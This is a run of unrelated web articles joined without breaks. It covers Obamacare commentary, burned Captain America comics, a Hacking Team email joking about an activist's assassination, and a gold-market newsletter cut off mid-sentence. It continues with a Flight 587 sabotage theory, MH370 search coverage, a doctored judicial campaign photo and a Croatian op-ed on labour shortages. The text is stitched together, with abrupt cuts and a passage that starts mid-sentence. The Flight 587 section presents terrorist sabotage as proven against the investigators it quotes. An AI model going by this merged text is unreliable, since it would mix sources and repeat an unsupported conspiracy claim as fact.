At National Review, Andy McCarthy puts on his federal prosecutor hat. If Obama and his accomplices were in the private sector, they would be imprisoned for perpetrating a scheme to defraud. We are beginning to understand what the fraud was–the systematic pattern of lies–but what was the scheme? What was the point of the fraud?
Andy’s answer is one you have heard before: to “transition” the nation into a system of fully socialized medicine. But he makes a clear, brief and persuasive case, drawing on Obama’s own oft-stated political beliefs and the irresistible inferences that can be drawn from Obamacare’s structure, including, but not limited to, the fact that the law’s famous exchanges are intentionally designed to fail.
I would add this point: Obama and the Congressional Democrats knew that before long, their lies would be exposed. The Obama administration predicted in a regulatory filing in June 2010 that more than one-half of all employer-sponsored group plans would terminate by the end of 2013 (now pushed back by the administration to 2014). They obviously didn’t think that no one would notice. Likewise, most Democrats, let alone Republicans, can add and subtract. So as soon as Obamacare was fully implemented, people would see that health insurance under the new regime costs more, not less, than they had paid previously. (Actually, any fool would have seen this from the beginning if he paid attention.) The Democrats must have known that when their lies were exposed, the blowback would be severe, exactly as every Ponzi schemer knows the day will come when his pyramid collapses and he goes to jail.
The Democrats put off the day of reckoning by delaying the implementation of Obamacare by three years when they passed the law in 2010. They have bought more time since by postponing various aspects of the law–most recently yesterday, when they deferred the date for 2015 enrollment in the exchanges until after the midterm election. But still, these are only delaying tactics: the administration’s lies were destined to be exposed, and the consequences could only be severe. The Democrats did not run this risk in order to gain a small prize. It is reasonable to believe that the only goal that would have been deemed worth such an enormous political risk is the holy grail of statism: socialized medicine.Your first name
Progressives boycotted and then burned copies of Marvel Comics’ “Captain America,” which depicts the superhero as a Nazi-like antagonist, Saturday.
Marvel writer Nick Spencer portrayed Captain America as a Nazi-like bad guy in a “Secret Empire” issue of the comic given out on Free Comic Book Day Saturday, which was celebrated across the country, Heat Street reported Monday.
“Happy free comic book day!!!” tweeted one user, posting pictures of a burning copy of the Captain America issue.
“I was given this by someone who doesn’t know who Nick Spencer is or that it’s a pile of garbage,” claimed the user “Calvin.” “I don’t pick up free books to burn em [sic].”
“Individual act of protest [does not equal] state sponsored censorship,” the user finished.
“When you burn books you’re not taking a stand against fascism, you’re taking a stand against irony,” said Spencer on Twitter Saturday. (RELATED: Iron Man Is Now A Woman, Because Diversity)
“The stories we tell have consequences,” insisted another person on Twitter. “The rise of fascism in the real world being mirrored in comics is no coincidence.”
The Daily Caller News Foundation reached out to Spencer, as well as two book burners, but received no comment in time for publication.
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Content created by The Daily Caller News Foundation is available without charge to any eligible news publisher that can provide a large audience. For licensing opportunities of our original content, please contact licensing@dailycallernewsfoundation.org.One thing that’s clear from reading through the trove of over one million emails from Italian surveillance firm Hacking Team is that its employees despise activists, many of whom have been criticizing them for years about their disregard for human rights. Christopher Soghoian, the ACLU’s Principal Technologist and an outspoken advocate for privacy and free speech, noticed Thursday that Hacking Team employee Daniele Milan joked about gathering enough Bitcoins to pay for his assassination. His email was dated April 16.
Translated to English, this says: I’m very tempted to respond, but we would only unleash hell. I think it’s self evident what a inbecile Soghoian is. If I could gather up enough Bitcoin I would use a service from the DarkNet and eliminate him. An asshole of this caliber doesn’t deserve to continue to consume oxygen. [Update: An Italian reader writes that the third sentence is more accurately translated: “If I gather up enough Bitcoin I will…”; Another reader writes that in the first sentence “a flame war” would be a more accurate translation than “hell”.] The same day that email was sent, Hacking Team had tweeted an article opposing Bitcoin, blaming the crypto-currency for helping pedophiles hide from the authorities, saying, “This has to be stopped”.The Dow fell slightly on Friday. Oil ended the week at $77. The dollar went nowhere.
But gold rose to a new high – $1,146.
Whatever else may be going on, there’s a real bull market in gold. It’s a bull market that began ten years ago. If you’d bought stocks then, you’d have about what you have now…less inflation. If you’d bought gold…you have about 4 times what you had then.
Today, a quick glance at a chart shows gold looking a little toppy. Expect a correction. But remember, this is a bull market. In a bull market, you buy the dips.
Stocks, meanwhile, are in a bear market. In a bear market, you sell the rallies. This looks like a good time to sell – if you haven’t done so already.
“Take Your Gains,” says Forbes. And once you’re out of stocks, stay out until the bear market is over…probably at around 3,000 – 5,000 on the Dow. When the price of gold equal the price of the Dow, it will be time to switch.
We haven’t seen the last of this bull market in gold. It’s what you buy when you think government is making a mess of the monetary situation. You put your trust in gold as an antidote…as protection…as wealth insurance.
Are the feds making a mess of the monetary situation? Oh dear, dear reader…please ask us something harder. Trillion dollar deficits as far as the eye can see… Stimulus spending that turns the US into a Zombie Economy… Handouts to the bankers…gifts to the carry traders…
The feds are out-doing themselves…
As for the bear market on Wall Street, investors are counting on a miracle…a ‘recovery’ that doubles corporate earnings in just a couple years. They think it’s “just like 1982”. Of course, it is just the opposite of 1982 …see the chart below.
Besides, there is no recovery…and profits will go down, as businesses compete for less spending.
The recovery may be all in your head, writes Robert Shiller, in The New York Times:
“Consider this possibility: after all these months, people start to think it’s time for the recession to end. The very thought begins to renew confidence, and some people start spending again – in turn, generating visible signs of recovery. This may seem absurd, and is rarely mentioned as an explanation for mass behavior late in a recession, but economic theorists have long been fascinated by such a possibility.
The notion isn’t as farfetched as it may appear. As we all know, recessions generally last no more than a couple of years. The current recession began in December 2007, according to the National Bureau of Economic Research, so it is almost two years old. According to the standard schedule, we’re due for recovery. Given this knowledge, the mere passage of time may spur our confidence, though no formal statistical analysis can prove it….
Back in 1931, for example, The New York Times attributed the emerging economic cataclysm to a “mood of pessimism which had been carried to grotesque extremes.” In 1932, it compared reckless talk about “depression” to shouting “fire” in a crowded theater.”
It doesn’t matter what anyone says. It’s a depression. It’s nothing like the garden-variety recessions of the Post-War period.
It’s a depression because of the nature of the work it has to do. It has to clean up 3 decades’ worth of filthy balance sheets. It has to wipe away trillions in trashy consumer debt. It has to defuse trillions more of Wall Street’s debt bombs. It has to wash out billions…maybe trillions…worth of bad decisions – houses that are too big, too expensive, too grandiose for their buyers…shopping malls with far too much retail space for the new, thrifty customers…businesses geared up to produce goods and services for millions of people who can no longer afford them.
When will the depression be over? When the work is done.
But wait… the world’s government piling up trash faster than the depression can haul it away. And here comes the next mega-crisis!
“US cost of paying i.o.u.’s gets steeper,” says a front-page headline at The International Herald Tribune.
And over at The Financial Times in London, Gillian Tett asks “Will sovereign debt be the next sub-prime?”
Everyone knows what when wrong with sub-prime. When you lend money to people who can’t pay it back, you’re asking for trouble. So, if you’re out of a job and looking for a sub-prime loan to buy a double-wide trailer you’re out of luck. Bankers won’t give you a dime.
But now, the world’s lenders are doing something just as dumb. They’re lending to governments. Imagine you were a banker. And the US government comes to you for a loan.
“Do you have enough income to cover the payments,” you ask.
“Well, no,” comes the answer. “In fact, our revenue has fallen off a little. Because of the recession, you know. Like everyone else.”
“How bad is it?”
“Uh…we spend nearly two dollars for every dollar of income.”
“Oh…and you expect us to lend you money? What do you have for collateral? What is your net worth position?”
“We were hoping you wouldn’t ask. The most recent tally of our obligations comes to $113 trillion.”
“Well, don’t you have assets?”
“We have some buildings in Washington…military bases around the world…things like that. But as a practical matter, you could never foreclose on them.”
“Oh, I see…”
What is interesting is that the world’s investors are beginning to see that the US and many other governments are bad credit risks. This is an extraordinary event. Until now, the US government has been able to finance and refinance its debts at the lowest rates in three generations. Lenders have wanted to lend the feds money, because they believed they were the safest credits in the world.
Bankers can always be counted on to find the worst investments at the worst time. They are at the tail end of the chain of insights that begins with the sharpest, most independent-thinking analysts…runs through the broker/hedge fund community…passes on to the financial journalists and the TV pundits…arrives at the lumpeninvestoriat through the popular media…and finally gets to bankers when they pick up the Wall Street Journal and read about what’s going on.
Now, the bankers are buying sovereign debt – government paper – because they think it offers a “risk free” return. In fact, it is one of the riskiest investments you can make.
This year and next, |
to spin violently to the left about the center of gravity of the airplane. It now was not an airplane but a giant spinning Frisbee, or maybe a giant horizontal boomerang. Yes, you can take a scale model airplane and holding one wing throw it like a boomerang and make it fly. I know, since I used to do that as a kid. It works. A modern swept-wing jet aircraft with the tail torn off is simply a boomerang with a large stick, the passenger cabin, stuck in the middle. Since the pilot had been holding opposite or left aileron, as soon as the plane started to spin, the left wing would be going backwards. But with the left aileron in the upward position the left wing becomes a lifting surface which keeps the spinning plane level, since both wings are lifting. The plane is now spinning horizontally with the full power from both engines increasing the spin faster and faster until both engines break off and are flung sideways away from the plane. As soon as the tail assembly broke away and the spin started, the plane became like one of those spinning centrifuges used by the astronauts for testing at high g-forces. Within a second or so the people at the front and back of the plane were being thrown violently away from the center of the plane with a tremendous force. The seats with passengers in the very back of the plane were probably ripped out of the floor and thrown to the back of the plane. The flight crew at the front of the plane were thrown violently forward with such g-force they were instantly rendered unconscious or killed. This would explain why no more comments from the flight crew are heard after applying full power. The plane was spinning horizontally to the left completely out of control. With the engines still running at full power, they broke away ripping the fuel tanks in both wings and Fight 587 became a flaming Frisbee. Something which nobody, and especially none of the people who witnessed the accident, had ever seen before. Small pieces of the airframe along with the engines were thrown by centrifugal force away from the flaming plane, giving the appearance of an explosion blasting parts away. This also accounts for the many strange witness reports. I watched the news channels live and heard many witnesses swear that they saw the left engine come off first. Many other witnesses also were just as sure that the right engine was the first to come off. How to account for these strange opposite reports? Simply, all those witnesses had never seen a plane in a flat spin before. In a flat spin most of the plane's forward motion is stopped and the plane is like a spinning flaming Frisbee floating in the air. The flames hid the shape of the plane and the witnesses could not see the plane spinning, they only saw a ball of fire with pieces of plane blasting out from the center. At that point the concept of right or left engine no longer has any meaning, they are both going in the same circle. Thus depending on where the witness observer was standing when the first engine dropped off, half of the people would see it as going to the right and the other half would see it as going to the left. Thus both groups of observers were correct in reporting what they saw, they only misinterpreted what it meant. There were even professional pilots who reported they saw the plane in a "spinning nose dive." Is it possible that they were also mistaken? Is it possible the plane was not in a nose dive but was actually spinning flat with one wing going backwards, all caused by a thrust reverser actuated in flight? Since the other pilots reported they saw a flaming spinning plane arcing into the ground, and since they too probably had never seen a plane in a flat spin, they simply assumed what they saw was a spinning plane nosing into the ground. Is it possible to prove that it was not a plane nose-diving into the ground but a flat spin caused by a terrorist? Yes. When the plane began the flat spin right after the tail assembly broke off over Jamaica Bay, the passengers in the front and back of the plane would experience high g-forces which threw them to the front and back of the plane. But those passengers in the center of the plane between the two engines and over the wings would simply spin around with no lateral g-forces. They would just spin around similar to sitting and spinning on a rotating piano stool. For them the plane simply floated downward as they rotated. What would happen to them? According to a statement made by New York mayor Giuliani in a news conference on Wednesday November 14th, the rescue workers recovered 262 bodies including "a man still holding a baby." How is that possible if the plane had nose-dived into the ground? A nose dive into the ground would have produced such a violent forward force that all objects in the plane would have been thrown forward with most of the seats ripped out of the floor. Certainly no man can be strong enough to hold on to a baby through that force, unless instead the plane was in a flat spin. For the passengers in the center of the plane the force would have been downward as the plane hit the ground and the baby would be simply forced deeper into the man's lap as he sat in the passenger seat. Is that sufficient evidence to prove the plane was in a flat spin at impact with the earth and the crash was caused by a thrust reverser being actuated in flight? Yes. It could not have been a forward nose dive. Further evidence is shown by the fact that on the many live news videos of the crash scene as the firemen are putting out the flames, a large section of the central portion of the plane is lying on the ground almost intact but in flames. If the flaming spinning Frisbee of Flight 587 had impacted the ground in a flat spin the front and back ends of the plane would have impacted with high rotating speed and thrown pieces of the plane, including the Flight Data Recorder in the rear of the plane many blocks away. But the center of the plane would be left intact. Analysis of the debris field would show material from the front of the plane went in one direction while material from the back of the plane went in the opposite direction. Is there clear evidence for sabotage by a terrorist? Yes. But it seems the FBI does not want to know. Maybe the airlines, especially American Airlines, do not want anybody to know they are so easily vulnerable to terrorist attack. For whatever reason, it seems the NTSB and the FBI do not want to know what happened to Flight 587. The clear evidence for the flat spinning impact is shown by the condition of the passengers and seats in the front and rear of the plane compared to the conditions in the almost intact center portion of the plane. Is the NTSB going to reassemble the plane parts to investigate that? According to NTSB Chairman Marion Blakey in the news conference on Tuesday the 13th, the NTSB was not going to reassemble the plane for analysis. The two engines are being sent under sealed bonded cover to American's Tulsa, Okla. facility for disassembly and analysis. But it would seem the engines were not the cause of the crash, so that is an investigative dead end. The real evidence, the conditions of the cabin and fuselage which would show and prove the plane crashed while in a flat spin, is simply going to be carted away and tossed in the trash. The FBI will never find the terrorist who caused the crash, if they are not looking for one. Marshall Smith Editor, BroJon Gazette NEW FLIGHT DATA RECORDER UPDATE NOV. 17, 2001 The above article was prepared and written based only on data from the Cockpit Voice Recorder. The NTSB has since then released data from the Flight Data Recorder showing the position of controls and configuration of the aircraft. It is entirely consistent with the above analysis, including the turns to the left, right, left, right with the "rattling" occurring during the two turns to the right. Followed quickly by the loss of the vertical tail assembly, then the rapid break into a flat spin. The FDR data shows: "... the Airbus began a series of oscillations, yawing from left to right, then back again. Seconds later, the data stream from the Airbus's rudder 'becomes unreliable,' (meaning it had torn off)... the jet began rolling to its left side... the flight data recorder shows the Airbus rolled 25 degrees to the left, even though the pilots applied full-right roll control. The recorder also shows the jet dropped into a 30-degree dive, and began revolving rapidly toward the left." Note, it does not say it "began rolling rapidly" to the left. It says it "began revolving rapidly" to the left. And that would be known as a flat spin. The rapid revolving was due to the engines at full power. Most pilots would recognize the 30-degree drop at the end as slowing to the stall speed as if the plane were simply stalling or entering into a recoverable vertical spin. A single engine plane would be very difficult to fly into a horizontal or flat spin. But any twin or mulit-engine plane like the A300 can easily enter a non-recoverable flat spin when reaching the stall point if the forward thrust on each side of the plane's centerline is not equal. The worst case being equal and opposite thrust around the plane's center of gravity caused by an inflight actuation of a thrust reverser. The NTSB continues to insist there is no evidence of a terrorist attack. (The Brojon Gazette throws up its hands in complete disbelief.)MALAYSIA has entered into a “no find, no fee” arrangement with Ocean Infinity in a bid to recover the missing MH370 plane and discover the fate of the 239 people on board.
Australia’s Minister for Infrastructure and Transport Darren Chester acknowledged the agreement between the Malaysian government and the US- based seabed exploration company.
“The Malaysian Government has accepted an offer from Ocean Infinity to search for the missing plane, entering into a ‘no find no fee’ arrangement,” the MP said in a statement.
Australia will provide technical assistance at the request of the Malaysian government.
Flight MH370 vanished on March 8, 2014, on the way from Kuala Lumpur to Beijing, with 239 people on board.
Its disappearance is one of the world’s greatest aviation mysteries, and sparked the largest ever search, costing about $200 million.
The Australian-led search for the aircraft was suspended in January, much to the anguish of distraught relatives.
Mr Chester said he was hopeful but did not want to raise the “hopes for the loved ones of those on board.” At the time it was suspended, the Australian Transport Safety Bureau released findings from international and CSIRO scientists which identified a smaller 25,000sq km area with “a high probability” that it contained the aircraft.
“Ocean Infinity will focus on that part of the sea floor,” Mr Chester said.
Two Australian women who lost their husbands had earlier told AAP they were excited to hear the search might resume.
Melbourne woman Jennifer Chong, whose husband and the father of her two sons, Chong Ling Tan was on the flight, said she and other relatives had been working for the search to be re-started.
Mother of two Danica Weeks, who lost her husband Paul on the plane, said she was initially physically shaking with joy and felt a “weight lifted” when she read the search might resume.
Ms Weeks and Ms Chong separately sued the airline as a result of the deaths of their husbands.
“We won’t be deciding anything now on whether we are embarking on a new search or not,” Liow told reporters on the sidelines of an event in Kuala Lumpur.
“We have to discuss with the companies. It will take some time as it’s some detailed discussions,” he said.
Earlier this month the Australian Transport Safety Bureau (ATSB) published its final 440-page report into the search, which spanned 1046 days from the time the Malaysia Airlines plane disappeared on March 8, 2014, until it was suspended in January.
“We... deeply regret that we have not been able to locate the aircraft, nor those 239 souls on board that remain missing,” the report said.
The search for MH370 was the largest of its type in aviation history, covering several million square kilometres of the ocean’s surface and below.
It came at a cost of $200 million, and involved Australian, Chinese and Malaysian authorities.
“Despite the extraordinary efforts of hundreds of people involved in the search from around the world, the aircraft has not been located,” the report said.
ATSB chief commissioner Greg Hood described the search as “an unprecedented endeavour” but said the situation remained “a great tragedy”.
“We wish that we could have brought complete closure to the bereaved,” he said.
“I hope, however, that they can take some solace in the fact that we did all we could do to find answers. Governments from around the world contributed to the search, with extraordinary expertise committed to the task.”
The ATSB acknowledged that it was “almost inconceivable and certainly societally unacceptable”, in an era where 10 million passengers fly daily, for a large commercial aircraft to still be missing.
“And for the world to know with certainty what became of the aircraft and those on board,” the report read.
At least 20 reported remnants of the plane, including a flaperon, have washed up on the shores of Madagascar and Reunion Island off the African coast since it disappeared.
MORE: How MH370 crash unfolded
MH370 VIRTUALLY PINPOINTED
In August it was claimed new evidence had virtually pinpointed the location of MH370 — 1258 days since it disappeared.
The Australian Transport Safety Bureau released an explosive report that effectively narrowed the search zone for the missing plane down to an area half the size of Melbourne.
The report placed the most likely location of the aircraft “with unprecedented precision and certainty” at 35.6°S, 92.8°E — in between Western Australia and Madagascar.
ATSB chief Greg Hood said he would have liked to see the search continue but admitted it would require more conclusive evidence to convince the government.
“Clearly we must be cautious. These objects have not been definitely identified as MH370 debris,” Mr Hood said.
Malaysian transport minister Dato Sri Liow Tiong said the newly defined area was not enough to go on and it was hoped debris drift modelling would help narrow the location further.
GeoScience Australia has been examining four satellite images of objects floating on the southern Indian Ocean taken two weeks after the plane went missing in the area identified late last year as MH370’s likely resting spot.
They found 12 objects in those images that they deemed man-made and 28 that they regard as possibly man-made.
New MH370 search led by man who found HMAS Sydney 6:38 A new MH370 search is being led by the man who found the HMAS Sydney, Shipwreck hunter David Mearns. Courtesy: Studio 10
The images were taken by a French Military satellite in late March 2014 but were discarded by authorities. The ATSB was not involved in the search at that time.
The drift modelling initially released late last year identified an area of 25,000sq km just outside the original search area.
The report combined a refinement of that drift modelling as well as the discarded satellite images to narrow the likely search zone down to an area of just 5000sq km.
As part of the latest report, all satellite imagery of the relevant new area came up for review.
Their location near the “7th arc” of the search zone makes them impossible to ignore, the report states.
The new plot is based on comprehensive drift modelling and testing — including the release of a real Boeing 777 flaperon to test the floating characteristics of the one belonging to MH370 recovered off the coast of Africa.
“We measured its drift characteristics after modifying it to match the damaged one retrieved from Ile de la Reunion,” the report said.
“This work did not change our estimate of the most likely location of the impact — it just increased confidence in the modelling by explaining more easily the 29 July 2015 Ile de la Reunion flaperon discovery.”
The researchers combined ocean current modelling with the satellite images, assessing the motion of wind and water in the Indian Ocean between March 8 and 24.
They came up with a ‘bracket’ of locations based on these tested drift patterns, naming them West 1, West 2, East 1 and East 2. These locations straddle the arc from which MH370’s transmitters were last detected.
Researchers “consider the location in East1 to be the more likely” because it is the only one indicated by both drift models, the report reads.
It goes on to add that it cannot rule out all possible man-made debris came from the same impact location on March 8.
MH370 SEARCH SUSPENDED
After nearly three years, the hunt for Malaysia Airlines Flight 370 ended in futility and frustration, as crews completed their deep-sea search of a desolate stretch of the Indian Ocean without finding a trace of the plane.
The Joint Agency Coordination Center in Australia, which helped lead the hunt for the Boeing 777 in remote waters west of Australia, said the search had officially been suspended after crews finished their fruitless sweep of the 120,000-square kilometre search zone.
“Despite every effort using the best science available, cutting-edge technology, as well as modelling and advice from highly skilled professionals who are the best in their field, unfortunately, the search has not been able to locate the aircraft,” the agency said in a statement, which was a joint communique between the transport ministers of Malaysia, Australia and China.
“Accordingly, the underwater search for MH370 has been suspended. The decision to suspend the underwater search has not been taken lightly nor without sadness.”
Officials investigating the plane’s disappearance have recommended search crews head north to a new area identified in a recent analysis as a possible crash site.
TIMELINE OF THE SEARCH FOR MH370
March 8, 2014
A search and rescue effort is launched in southeast Asia on the morning the aircraft disappears.
March 9, 2014
Search efforts are launched in the Andaman Sea at the request of officials in Malaysia, on the belief the plane might’ve turned back.
March 15, 2014
Malaysia’s Prime Minister Najib Razak reveals the aircraft was in touch a satellite communication network for ‘several hours’ after it disappeared. It was last located by military radar over the Andaman Sea.
March 18, 2014
A search of a remote part of the southern Indian Ocean begins, led by Australian authorities. Oceanic and aerial surveillance begins some 2,500 kilometres offshore from Perth. The initial search area is 600,000 square kilometres.
March 19, 2014
The search area is revised down to approximately 305,000 square kilometres. More ships join the search.
March 20, 2014
Australia announces satellite imagery taken four days earlier appears to show two large objects floating in the ocean. Planes begin scouring the area but don’t find anything.
March 22, 2014
Satellite images captured by Chinese authorities show a large object 22 metres long floating in the ocean.
March 22, 2014
Malaysia announces the plane is believed to have gone down in an area of ocean, with all on board presumed dead. The search area is narrowed again. An Australian search aircraft spots an “orange rectangular object”.
March 28, 2014
The search shifts to a new 319,000 square-kilometre area some 1100 kilometres north of the previous spot. An international panel is established to investigate the incident.
March 30, 2014
The Joint Agency Coordination Centre (JACC), headed by Angus Houston, is established to co-ordinate the search effort.
April 29, 2014
The surface search ends and experts say any debris would’ve become waterlogged and sunk. Some 4.5 million square kilometres of ocean has been searched by 29 aircraft and 14 ships.
May 28, 2014
A sea floor sonar survey is called off after several weeks, during which 860 square kilometre of ocean floor is scanned.
June 26, 2014
Authorities prioritise a 60,000 square kilometre search area. An interim report from Australia raises the theory that an unresponsive crew or hypoxia event “best fit the available evidence” for the five-hour period of the flight as it travelled south over the Indian Ocean, likely on autopilot.
October 6, 2014
An underwater search commences, involving four vessels and continues until January 2017.
July 29, 2015
A piece of debris resembling an aircraft flaperon later confirmed to be from MH370 and a suitcase are found washed up on a beach on Reunion Island in the western Indian Ocean. Two days later other items, including a water bottle, are found nearby.
March 2, 2016
A suspected horizontal stabiliser is found on a sandbar in Mozambique and later determined to be from MH370. Later that month, part of an engine cowling is found on the coast of South Africa.
July 27, 2016
Scientists analyse locations where wreckage was found and compare the data to ocean drift patterns. It results in a new predicted area for the crash site, further north than the last agreed search zone.
December 20, 2016
Australian authorities suggest a new, smaller 25,000 square kilometre search area.
January 17, 2017
The underwater search is officially suspended after the examination of 120,000 square kilometres of ocean floor. The total cost of the MH370 search hits $160 million.This picture appeared on the Facebook page for Las Vegas Municipal Judge Heidi Almase's re-election campaign. (Screenshot/Facebook)
Dwayne Johnson attends the world premiere of Universal Pictures' "The Fate of the Furious" at Radio City Music Hall on Saturday, April 8, 2017, in New York. (Photo by Evan Agostini/Invision/AP)
Las Vegas Municipal Judge Heidi Almase has never met actor Dwayne “The Rock” Johnson.
But a picture appeared on her re-election campaign’s Facebook page Tuesday night that showed the two standing shoulder to shoulder next to the words “It just makes sense: Re-Elect Judge Heidi Almase.”
The doctored image combines a campaign photo of Almase wearing a burgundy shirt and black scarf with a three-year-old picture of Johnson in a gray button-down shirt.
Tom Letizia, the campaign manager for Almase’s opponent, Chief Deputy District Attorney Cara Campbell, called the post “a fraud.”
“It’s deceitful, dishonest, and disingenuous,” Letizia said. “Laws are made for a reason and if our own judges aren’t following the laws, how can the public trust them or their integrity on the bench?”
Under the photo, several people commented about the professional wrestler-turned-movie star’s apparent support.
“This is amazing!!!” one woman wrote.
“I guess we know what the rock is cooking, and it’s success! Way to go Judge Heidi Almase,” a man wrote.
Almase initially seemed to confirm Johnson’s endorsement.
“I’m ‘almost’ as tall as him,” she replied. “Almost.” The Rock stands 6 feet 5 inches.
By late Wednesday morning, the post had been removed. Her campaign manager, Jennifer Barrier, said she is close family friends with Johnson, but she did not have authorization to post the image and took it down after being contacted by a reporter.
“It was never an endorsement,” Barrier said. “There’s no quotation marks. It’s not an endorsement.”
According to the state’s Code of Judicial Conduct, a judge or judicial candidate must not “knowingly, or with reckless disregard for the truth, make any false or misleading statement.”
Barrier, who knows Johnson through her late father, James “Buffalo Jim” Barrier, a wrestling promoter, said Wednesday afternoon that she was “waiting on a written authorization to use his photo, so I can put it back up. It won’t be a problem. I just want to get the written authorization because I don’t want to have any issues with anyone.”
Letizia questioned the authenticity of a possible authorization.
“Even if she mysteriously comes up with a letter, it doesn’t rise to the level of what she has done here by fraudulently making phony pictures with her and a celebrity,” Letizia said. “The voters will decide in the end if this judge should be removed from office.”
As the race neared Tuesday’s general election, the campaigns intensified.
On Wednesday afternoon, Almase posted another image on her Facebook page. It showed Campbell over the words “FRAUD ALERT!”
Barrier also took issue with unattributed comments about Almase recently distributed on a flier by Campbell’s campaign. Barrier said the flier amounted to “slander” and the quotes were “complete and utter lies.”
Letizia said: “That’s 100 percent exactly the comments made by several attorneys in this community.”
As of late May, Campbell had raised more than $135,527, while Almase had raised $66,843. The job, which carries a six-year term, pays $162,971.52 annually.
Contact David Ferrara at dferrara@reviewjournal.com or 702-380-1039. Follow @randompoker on Twitter.Foto: 123rf, Index
PRIČALI smo već o patetičnim, jadnim i smiješnim žalbama poslodavaca kako nema dovoljno sezonaca – no umjesto da napokon neki „gazde“ shvate što je tržište rada, čitamo po novinama i portalima sve češće kako rone suze u svome BMW-u, jer eto ne mogu naći patnike koji bi radili za sitne pare.
Zamislite, među nekih 1,5 milijuna radno sposobnih u Hrvatskoj, jedno milijun pripadnika naše dijaspore, pa Hrvata iz BIH koji uredno mogu ovdje raditi, i još dodanom brat-bratu 100.000.000 radnika EU koji imaju pravo raditi u Hrvatskoj bez ikakve dozvole – njima nedostaje radnika!
Više od četvrt stoljeća ova zemlja živi u kapitalizmu, dakle više od pola punog radnog staža je prošao radnik koji je počeo raditi 1990. godine, a ono, neki gazde se čude kao, kako bi narod rekao, pura dreku, jer više ne mogu za sitne pare naći jadnika koji će im dobro i kvalitetno raditi za minimalne pare. A oni jadni, sve već isplanirali – plaće 3000 kuna, smještaj samo 12 osoba u jednoj sobi, i sebi leasing za novi SUV Audi ili BMW, jer valjda vam se ekipa u birtiji smije ako kao „gazda“ dođete u ne znam, Octaviji.
Priča je u biti toliko zabavna, da ovo kmečanje poslodavaca zaslužuje malo širi osvrt. Na neki način, ovo bi mogla biti možda i najbolja vijest gospodarski jadne i tužne 2016. godine.
Tržište rada
Zamislite da se pojavite u nekom zagrebačkom salonu premium automobila i ponudite ne, znam, 100.000 kuna za novi BMW, s obrazloženjem da toliko imate i da ste toliko planirali. A i auto toliko košta, vidjeli ste upravo novi Clio za te novce. Vjerojatno bi vas dvaput čudno pogledali, a treći puta zamolili da napustite salon.
Zamislite i mogućnost da ste za novi auto pripremili 50.000 kuna, naravno na tržištu nema ni nove Lade Nive za te novce, i da onda ljutito zovete novinare i pričate kako eto vi imate novce, a nitko vam ne želi prodati auto. Vjerojatno vam niti jedan portal, osim možda kojeg specijaliziranog iz psihologije, ne bi objavio kuknjavu.
Zašto? Pa ljudi nepogrešivo shvaćaju tržište roba – Audi košta jedne novce, Škoda druge, Dacia treće, novi auto košta jedno, polovnjak drugo, svaki paket opreme se naplaćuje. Štoviše, isti model nabijen opremom zna koštati dvostruko više nego model bez opreme – i nitko se ne buni. Ili kupite jer imate, ili ne kupite jer nemate ili ne želite dati tražene novce. No, isto tako – postoji tržište rada. Postoji novčana granica ispod koje stručnu osobu za posao nećete naći, postoji i minimalna granica (stvarna, ne ona zakonska), a i postoje vrhunski stručnjaci koji koštaju dva ili pet puta u odnosu na prosječnog radnika iste struke.
Radnička tuga duga četvrt stoljeća
Čini se da je u ovoj zemlji, izvan IT-a i par sličnih zanimanja već četvrt stojeća jednaka radnička tuga i priča: „ako nećeš, drugi će“, ponavljaju mnogi loši poslodavci. Mnogi su se i poslovno uzdigli upravo na tome – na činjenici da postoji beskonačan izvor jadnika i patnika spremnih raditi za bilo kakve novce, spremnih progutati bilo kakav neplaćeni prekovremeni i spremnih prešutjeti bilo kakvu nepravdu na poslu.
Broj raspalih firmi, broj propalih obrta, ali i broj onih koji su bježali iz još veće neimaštine BIH bio je toliki da je za veliku većinu poslova postojao gotovo beskonačan izvor jeftine radne snage. Uvijek se našao netko tko će raditi za minimalno, netko tko će raditi ako drugi odustane i netko kome će novac biti tako važan da će pristati na sve. To naravno nije tržište, nije niti kapitalizam – jer on uključuje tržište. To je bilo obično izrabljivanje ljudi u nevolji.
A onda smo ušli u Europsku uniju. Hrvatska je postala dio tržišta od preko pola milijarde ljudi. Prije godinu dana, Savezna Republika Njemačka, zemlja koja po projekcijama treba nove radne snage narednih 20-tak godina, ukinula je ograničenja za kretanje hrvatskih radnika. Samo u Njemačku, evo upravo čitamo njihove statistike, otišlo je nešto preko 50.000 ljudi. Otišli su i u druge zemlje – tržište rada se čini se taman toliko rasteretilo da je – napokon počelo funkcionirati. Ponuda radnika više nije beskonačna. Radnika koji želi raditi i zna raditi – treba i odgovarajuće platiti. Nešto što jedan dio poslodavaca u Hrvatskoj ne želi shvatiti. No, to je sve više – njihov problem.
Imamo nezaposlenih, ali…
Naravno, može se reći – imamo preko 200.000 nezaposlenih. Ogroman je to broj – ali opet, ne govori ništa o njihovoj mogućnosti za rad. Dodatno neki, ima ih, jesu prijavljeni kao nezaposleni, ali koriste sustav socijalne skrbi i ne pada im na pamet stvarno tražiti posao. Jako je puno ljudi koji nemaju nikakva, ali baš nikakva znanja i koji se u današnje vrijeme nemaju gdje zaposliti. Statistički bilten HZZ-a uredno navodi i strukturu nezaposlenih, pa evo zadnjih podataka, kraj svibnja ove godine:
- Bez škole i nezavršena osnovna škola 6.2%
- Osnovna škola 21.5 %
- SŠ za zanimanja do 3 god. i škola za KV i VKV radnike 30.9 %
- SŠ za zanimanja u trajanju od 4 i više godina i gimnazija 28.3 %
- Prvi stupanj fakulteta, stručni studij i viša škola 5.8 %
- Fakultet, akademija, magisterij, doktorat 7.3 %
Ukratko – četvrtina nezaposlenih nema nikakve kvalifikacije, a preko pola ih nema završene četiri godine srednje škole. Kada dodamo gimnazijalce, kojih je nezaposlenih na tisuće, a službeno u biti nemaju nikakvu kvalifikaciju – postaje jasno. Velik broj nezaposlenih ne znači velik broj stvarno dostupnih radnika. Dodatno, imati formalne kvalifikacije ne znači i znati raditi – ako se netko nije „istesao“ na poslu, ako nije prošao praksu i stekao znanja samostalnog rada, vrlo moguće vam uopće neće biti koristan kao radnik.
Dodajmo tome – među onih preko 50.000 koji su otišli u Njemačku, većina ipak spada u ljude koji žele, znaju i imaju spretnosti za rad – drugi se ne bi usudili tako daleko poći, drugi ostaju kući. Sve to je dovelo do situacije da ljudi koji zaista traže posao, ljudi koji mogu obaviti posao i ljudi spremnih na seljenje radi posla – nema više gotovo beskonačno kao prošlih godina. I to je dobro, jako dobro!
